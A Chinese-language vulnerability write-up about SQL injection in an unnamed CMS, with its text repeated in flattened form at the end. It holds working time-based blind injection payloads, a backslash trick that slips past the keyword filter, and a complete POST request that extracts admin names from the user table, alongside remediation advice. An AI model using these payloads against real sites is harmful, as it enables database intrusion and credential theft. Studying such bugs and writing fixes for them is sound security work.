某cms漏洞挖掘分析
字数 1370 2025-08-06 08:35:06

某CMS漏洞挖掘与分析教学文档

1. 漏洞概述

本教学文档详细分析了一个CMS系统中存在的SQL注入漏洞,该漏洞位于index.php文件中,通过精心构造的Payload可以绕过系统的WAF防护机制。

漏洞特点

  • 系统环境:PHP5.6 + Apache2.4 + MySQL5.7
  • 漏洞类型:SQL注入
  • 影响文件:web_inc.php及多个包含该文件的模板文件
  • 绕过机制:利用过滤函数调用顺序实现WAF绕过

2. 漏洞发现过程

2.1 入口点分析

index.php开始分析,发现web_inc.php文件中存在两处对$Language变量的直接调用,疑似注入点。

2.2 变量溯源

$Language变量来源于POST请求,经过以下两个函数处理:

  1. test_input()
  2. verify_str()

3. 过滤机制分析

3.1 verify_str()函数

function verify_str($str) {
    if(inject_check_sql($str)) {
        return 'Sorry,You do this is wrong! (.-.)';
    }
    return $str;
}

inject_check_sql()函数使用正则表达式匹配以下关键词(不区分大小写):

select|and|insert|=|%|<|between|update|'|\*|union|into|load_file|outfile

3.2 test_input()函数

function test_input($data) {
    $data = trim($data);       // 去除两边空格
    $data = stripslashes($data); // 去除反斜杠
    $data = htmlspecialchars($data,ENT_QUOTES); // 转义HTML特殊字符
    return $data;
}

关键点verify_str()test_input()的调用顺序是先verify_str()test_input()

4. 漏洞利用技术

4.1 初始测试

  • 构造0和1测试无回显差异
  • 尝试sleep()语句进行时间盲注

4.2 时间盲注技巧

发现小值sleep()会被后端多次查询放大:

  • sleep(1)实际睡眠40秒以上
  • 导致服务器返回500错误

调整策略:

  1. 使用较小sleep值(如0.01秒)
  2. 通过状态码判断结果

4.3 数据库信息获取

获取数据库长度

languageID=(0)or(if(length(database())like(1),sleep(2),0))

获取数据库名称

languageID=(0)or(if(substr(database(),1,1)like(0x73),sleep(2),0))

验证数据库名称

languageID=(0)or(if(database()like(0x73656d636d73),sleep(2),0))

4.4 其他注入点

发现/Templete/default/Include/search.php等包含web_inc.php的文件也存在相同漏洞。

5. WAF绕过技术

5.1 绕过原理

利用函数调用顺序:

  1. verify_str()先检查原始输入
  2. test_input()随后去除反斜杠

通过在关键词中添加反斜杠绕过:

  • 原始Payload:select sleep(1)
  • 绕过Payload:sel\ect sleep(1)

5.2 绕过验证代码

$test1 = 'select sleep(1)';  // 被拦截
$test2 = 'sel\ect sleep(1)'; // 成功绕过

5.3 实际利用

绕过select测试

languageID=0%20or%20if((sel\ect%20user_admin%20from%20sc_user)like%200x41646d696e,sleep(0.01),sleep(0))

6. 数据回显技术

6.1 寻找回显点

/Templete/default/Include/search.php中找到tag_home字段作为回显位置。

6.2 联合查询构造

确定sc_lable表中回显位为第2列,构造40个字段的联合查询:

POST /Templete/default/Include/search.php HTTP/1.1
Host: mylocal:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

languageID=-1%20un\ion%20se\lect%201,user_admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40%20from%20sc_user

7. 漏洞修复建议

  1. 参数化查询:使用预处理语句替代直接拼接SQL
  2. 过滤顺序调整:先去除反斜杠再进行关键词检查
  3. 最小权限原则:数据库连接使用最小必要权限
  4. 错误处理:避免直接显示数据库错误信息
  5. WAF增强:增加对变形Payload的检测能力

8. 总结

本案例展示了:

  1. 如何通过代码审计发现SQL注入漏洞
  2. 时间盲注技术的实际应用
  3. 利用函数调用顺序绕过WAF的巧妙方法
  4. 从盲注到回显的完整利用链

通过此漏洞分析,安全研究人员可以学习到高级SQL注入技术和WAF绕过思路,同时开发者也能从中获取安全编码的重要经验。

某CMS漏洞挖掘与分析教学文档 1. 漏洞概述 本教学文档详细分析了一个CMS系统中存在的SQL注入漏洞,该漏洞位于 index.php 文件中,通过精心构造的Payload可以绕过系统的WAF防护机制。 漏洞特点 系统环境:PHP5.6 + Apache2.4 + MySQL5.7 漏洞类型:SQL注入 影响文件: web_inc.php 及多个包含该文件的模板文件 绕过机制:利用过滤函数调用顺序实现WAF绕过 2. 漏洞发现过程 2.1 入口点分析 从 index.php 开始分析,发现 web_inc.php 文件中存在两处对 $Language 变量的直接调用,疑似注入点。 2.2 变量溯源 $Language 变量来源于POST请求,经过以下两个函数处理: test_input() verify_str() 3. 过滤机制分析 3.1 verify_ str()函数 inject_check_sql() 函数使用正则表达式匹配以下关键词(不区分大小写): 3.2 test_ input()函数 关键点 : verify_str() 和 test_input() 的调用顺序是先 verify_str() 后 test_input() 。 4. 漏洞利用技术 4.1 初始测试 构造0和1测试无回显差异 尝试 sleep() 语句进行时间盲注 4.2 时间盲注技巧 发现小值 sleep() 会被后端多次查询放大: sleep(1) 实际睡眠40秒以上 导致服务器返回500错误 调整策略: 使用较小sleep值(如0.01秒) 通过状态码判断结果 4.3 数据库信息获取 获取数据库长度 : 获取数据库名称 : 验证数据库名称 : 4.4 其他注入点 发现 /Templete/default/Include/search.php 等包含 web_inc.php 的文件也存在相同漏洞。 5. WAF绕过技术 5.1 绕过原理 利用函数调用顺序: verify_str() 先检查原始输入 test_input() 随后去除反斜杠 通过在关键词中添加反斜杠绕过: 原始Payload: select sleep(1) 绕过Payload: sel\ect sleep(1) 5.2 绕过验证代码 5.3 实际利用 绕过select测试 : 6. 数据回显技术 6.1 寻找回显点 在 /Templete/default/Include/search.php 中找到 tag_home 字段作为回显位置。 6.2 联合查询构造 确定 sc_lable 表中回显位为第2列,构造40个字段的联合查询: 7. 漏洞修复建议 参数化查询 :使用预处理语句替代直接拼接SQL 过滤顺序调整 :先去除反斜杠再进行关键词检查 最小权限原则 :数据库连接使用最小必要权限 错误处理 :避免直接显示数据库错误信息 WAF增强 :增加对变形Payload的检测能力 8. 总结 本案例展示了: 如何通过代码审计发现SQL注入漏洞 时间盲注技术的实际应用 利用函数调用顺序绕过WAF的巧妙方法 从盲注到回显的完整利用链 通过此漏洞分析,安全研究人员可以学习到高级SQL注入技术和WAF绕过思路,同时开发者也能从中获取安全编码的重要经验。